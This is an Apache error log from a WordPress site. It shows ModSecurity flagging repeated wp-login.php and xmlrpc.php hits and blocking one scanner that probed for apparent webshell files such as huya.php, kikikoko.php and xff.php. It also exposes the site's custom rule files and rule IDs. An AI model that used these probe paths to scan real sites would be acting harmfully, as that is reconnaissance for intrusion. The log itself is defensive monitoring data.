[Thu Apr 16 22:18:15.551692 2026] [:error] [pid 7880:tid 7895] [client 178.128.71.32:64422] [client 178.128.71.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.128.71.32, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aeDvp6aezm4fSGc0yUK_bwAAAYo"]
[Thu Apr 16 22:20:38.186279 2026] [:error] [pid 57639:tid 57651] [client 45.76.129.195:48848] [client 45.76.129.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.76.129.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDwNqMCQoTw7TsxWunbrgAAAMU"]
[Thu Apr 16 22:26:09.431516 2026] [:error] [pid 57537:tid 57595] [client 91.245.210.195:43052] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDxgVVQRS8nm73ENAnELwAAAFQ"]
[Thu Apr 16 22:30:42.204065 2026] [:error] [pid 49094:tid 49106] [client 141.95.19.158:43274] [client 141.95.19.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.19.158, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDykjbDwvcXorHR_MwGoQAAAUo"]
[Thu Apr 16 22:32:22.503855 2026] [:error] [pid 57538:tid 57617] [client 46.21.198.186:33688] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDy9suMaiEF5SVR2Bf0NAAAAI8"]
[Thu Apr 16 22:35:37.381342 2026] [:error] [pid 7880:tid 7893] [client 185.199.223.27:53424] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeDzuaaezm4fSGc0yULE4QAAAYg"]
[Thu Apr 16 22:41:35.185607 2026] [:error] [pid 57639:tid 57653] [client 185.246.164.237:54522] [client 185.246.164.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.246.164.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1H6MCQoTw7TsxWunsfwAAAMc"]
[Thu Apr 16 22:42:00.185933 2026] [:error] [pid 57639:tid 57652] [client 39.47.2.95:60968] [client 39.47.2.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.47.2.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1OKMCQoTw7TsxWuns9QAAAMY"]
[Thu Apr 16 22:42:00.546809 2026] [:error] [pid 7880:tid 7908] [client 51.38.230.115:40932] [client 51.38.230.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.230.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1OKaezm4fSGc0yULIHAAAAZc"]
[Thu Apr 16 22:42:10.040158 2026] [:error] [pid 49094:tid 49115] [client 39.47.2.95:61350] [client 39.47.2.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.47.2.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1QjbDwvcXorHR_MwPIQAAAVM"]
[Thu Apr 16 22:42:20.537519 2026] [:error] [pid 49094:tid 49102] [client 39.47.2.95:61657] [client 39.47.2.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.47.2.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1TDbDwvcXorHR_MwPWQAAAUY"]
[Thu Apr 16 22:42:31.163113 2026] [:error] [pid 57537:tid 57590] [client 39.47.2.95:61904] [client 39.47.2.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.47.2.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1V1VQRS8nm73ENAnIawAAAE8"]
[Thu Apr 16 22:42:42.536053 2026] [:error] [pid 29603:tid 29610] [client 39.47.2.95:62156] [client 39.47.2.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 39.47.2.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD1YlfGOR6fpTWUAzqvyAAAAQU"]
[Thu Apr 16 22:47:15.724926 2026] [:error] [pid 57639:tid 57658] [client 202.157.175.19:43394] [client 202.157.175.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 202.157.175.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD2c6MCQoTw7TsxWunyFQAAAMw"]
[Thu Apr 16 22:50:13.091151 2026] [:error] [pid 49094:tid 49106] [client 46.225.100.56:48064] [client 46.225.100.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.225.100.56, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD3JTbDwvcXorHR_MwWnwAAAUo"]
[Thu Apr 16 22:51:58.163170 2026] [:error] [pid 49094:tid 49118] [client 82.223.24.195:48966] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD3jjbDwvcXorHR_MwZBwAAAVY"]
[Thu Apr 16 22:52:17.566830 2026] [:error] [pid 57536:tid 57563] [client 81.8.91.201:48676] [client 81.8.91.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.8.91.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD3oSQU4faGja6jpDup5gAAAA8"]
[Thu Apr 16 22:52:58.026783 2026] [:error] [pid 57537:tid 57586] [client 69.57.172.96:33812] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD3ylVQRS8nm73ENAnLFwAAAEs"]
[Thu Apr 16 22:55:21.512310 2026] [:error] [pid 57639:tid 57646] [client 167.172.153.2:56716] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD4WaMCQoTw7TsxWun6AQAAAMA"]
[Thu Apr 16 22:57:47.216595 2026] [:error] [pid 49094:tid 49104] [client 185.113.100.4:41366] [client 185.113.100.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.113.100.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aeD46zbDwvcXorHR_MwdCgAAAUg"]
[Thu Apr 16 22:59:12.999909 2026] [autoindex:error] [pid 57537:tid 57586] [client 20.203.186.201:62029] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 16 22:59:15.655444 2026] [:error] [pid 57537:tid 57577] [client 20.203.186.201:62029] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aeD5Q1VQRS8nm73ENAnMHwAAAEI"]
[Thu Apr 16 22:59:16.126704 2026] [:error] [pid 49094:tid 49109] [client 20.203.186.201:35885] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aeD5RDbDwvcXorHR_MweCwAAAU0"]
[Thu Apr 16 22:59:16.658482 2026] [:error] [pid 7880:tid 7909] [client 20.203.186.201:62035] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aeD5RKaezm4fSGc0yULPQQAAAZg"]
[Thu Apr 16 22:59:17.139350 2026] [:error] [pid 49094:tid 49115] [client 20.203.186.201:41500] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/huya.php"] [unique_id "aeD5RTbDwvcXorHR_MweEgAAAVM"]
[Thu Apr 16 22:59:17.643826 2026] [:error] [pid 49094:tid 49114] [client 20.203.186.201:47002] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aeD5RTbDwvcXorHR_MweFAAAAVI"]
[Thu Apr 16 22:59:18.166916 2026] [:error] [pid 57538:tid 57619] [client 20.203.186.201:40465] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aeD5RsuMaiEF5SVR2Bf7_AAAAJE"]
[Thu Apr 16 22:59:18.776499 2026] [:error] [pid 57536:tid 57556] [client 20.203.186.201:41496] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aeD5RiQU4faGja6jpDusygAAAAg"]
[Thu Apr 16 22:59:19.305135 2026] [:error] [pid 57536:tid 57572] [client 20.203.186.201:61049] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/puc.php"] [unique_id "aeD5RyQU4faGja6jpDuszQAAABg"]
[Thu Apr 16 22:59:19.886757 2026] [:error] [pid 57536:tid 57558] [client 20.203.186.201:61027] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeD5RyQU4faGja6jpDus0QAAAAo"]
[Thu Apr 16 22:59:20.459666 2026] [:error] [pid 57639:tid 57646] [client 20.203.186.201:35863] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeD5SKMCQoTw7TsxWun-LwAAAMA"]
[Thu Apr 16 22:59:20.966788 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:46994] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeD5SKMCQoTw7TsxWun-MwAAAM0"]
[Thu Apr 16 22:59:21.461358 2026] [:error] [pid 57639:tid 57652] [client 20.203.186.201:61000] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "aeD5SaMCQoTw7TsxWun-NgAAAMY"]
[Thu Apr 16 22:59:21.967650 2026] [:error] [pid 29603:tid 29605] [client 20.203.186.201:40497] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aeD5SVfGOR6fpTWUAzq0mgAAAQA"]
[Thu Apr 16 22:59:22.499356 2026] [:error] [pid 7880:tid 7900] [client 20.203.186.201:62050] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aeD5Sqaezm4fSGc0yULPTQAAAY8"]
[Thu Apr 16 22:59:22.982602 2026] [:error] [pid 57538:tid 57607] [client 20.203.186.201:40480] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aeD5SsuMaiEF5SVR2Bf7_wAAAIU"]
[Thu Apr 16 22:59:23.533901 2026] [:error] [pid 49094:tid 49112] [client 20.203.186.201:62072] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ewp.php"] [unique_id "aeD5SzbDwvcXorHR_MweIwAAAVA"]
[Thu Apr 16 22:59:24.006773 2026] [:error] [pid 57538:tid 57605] [client 20.203.186.201:41521] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeD5TMuMaiEF5SVR2Bf8AAAAAIM"]
[Thu Apr 16 22:59:24.564994 2026] [:error] [pid 49094:tid 49099] [client 20.203.186.201:46980] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeD5TDbDwvcXorHR_MweJQAAAUM"]
[Thu Apr 16 22:59:25.069420 2026] [:error] [pid 49094:tid 49097] [client 20.203.186.201:41507] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeD5TTbDwvcXorHR_MweKAAAAUE"]
[Thu Apr 16 22:59:25.658637 2026] [:error] [pid 57639:tid 57666] [client 20.203.186.201:41514] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kikikoko.php"] [unique_id "aeD5TaMCQoTw7TsxWun-OwAAANQ"]
[Thu Apr 16 22:59:26.213178 2026] [:error] [pid 57537:tid 57585] [client 20.203.186.201:35879] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "aeD5TlVQRS8nm73ENAnMKAAAAEo"]
[Thu Apr 16 22:59:26.711780 2026] [:error] [pid 57639:tid 57668] [client 20.203.186.201:41513] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "aeD5TqMCQoTw7TsxWun-QAAAANY"]
[Thu Apr 16 22:59:27.296269 2026] [:error] [pid 7880:tid 7888] [client 20.203.186.201:35856] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "aeD5T6aezm4fSGc0yULPUwAAAYM"]
[Thu Apr 16 22:59:27.878806 2026] [:error] [pid 57639:tid 57654] [client 20.203.186.201:21504] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nwflm.php"] [unique_id "aeD5T6MCQoTw7TsxWun-QwAAAMg"]
[Thu Apr 16 22:59:28.351711 2026] [:error] [pid 57639:tid 57659] [client 20.203.186.201:46915] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeD5UKMCQoTw7TsxWun-RgAAAM0"]
[Thu Apr 16 22:59:28.905749 2026] [:error] [pid 57639:tid 57655] [client 20.203.186.201:46991] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeD5UKMCQoTw7TsxWun-SgAAAMk"]
[Thu Apr 16 22:59:29.390920 2026] [:error] [pid 7880:tid 7885] [client 20.203.186.201:62075] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeD5Uaaezm4fSGc0yULPVQAAAYA"]
[Thu Apr 16 22:59:29.865729 2026] [:error] [pid 57537:tid 57596] [client 20.203.186.201:46993] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dx.php"] [unique_id "aeD5UVVQRS8nm73ENAnMLgAAAFU"]
[Thu Apr 16 22:59:30.413130 2026] [:error] [pid 29603:tid 29618] [client 20.203.186.201:40450] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeD5UlfGOR6fpTWUAzq0pQAAAQ0"]
[Thu Apr 16 22:59:30.914702 2026] [:error] [pid 29603:tid 29629] [client 20.203.186.201:40455] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeD5UlfGOR6fpTWUAzq0pwAAARg"]
[Thu Apr 16 22:59:31.445149 2026] [:error] [pid 49094:tid 49103] [client 20.203.186.201:35858] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeD5UzbDwvcXorHR_MweLgAAAUc"]
[Thu Apr 16 22:59:31.927251 2026] [:error] [pid 29603:tid 29612] [client 20.203.186.201:35850] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xff.php"] [unique_id "aeD5U1fGOR6fpTWUAzq0qQAAAQc"]
[Thu Apr 16 22:59:32.401136 2026] [:error] [pid 49094:tid 49099] [client 20.203.186.201:46961] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aeD5VDbDwvcXorHR_MweNAAAAUM"]
[Thu Apr 16 22:59:32.871298 2026] [:error] [pid 49094:tid 49105] [client 20.203.186.201:47039] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aeD5VDbDwvcXorHR_MweNwAAAUk"]
[Thu Apr 16 22:59:33.407162 2026] [:error] [pid 7880:tid 7907] [client 20.203.186.201:35876] [client 20.203.186.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "aeD5Vaaezm4fSGc0yULPYwAAAZY"]
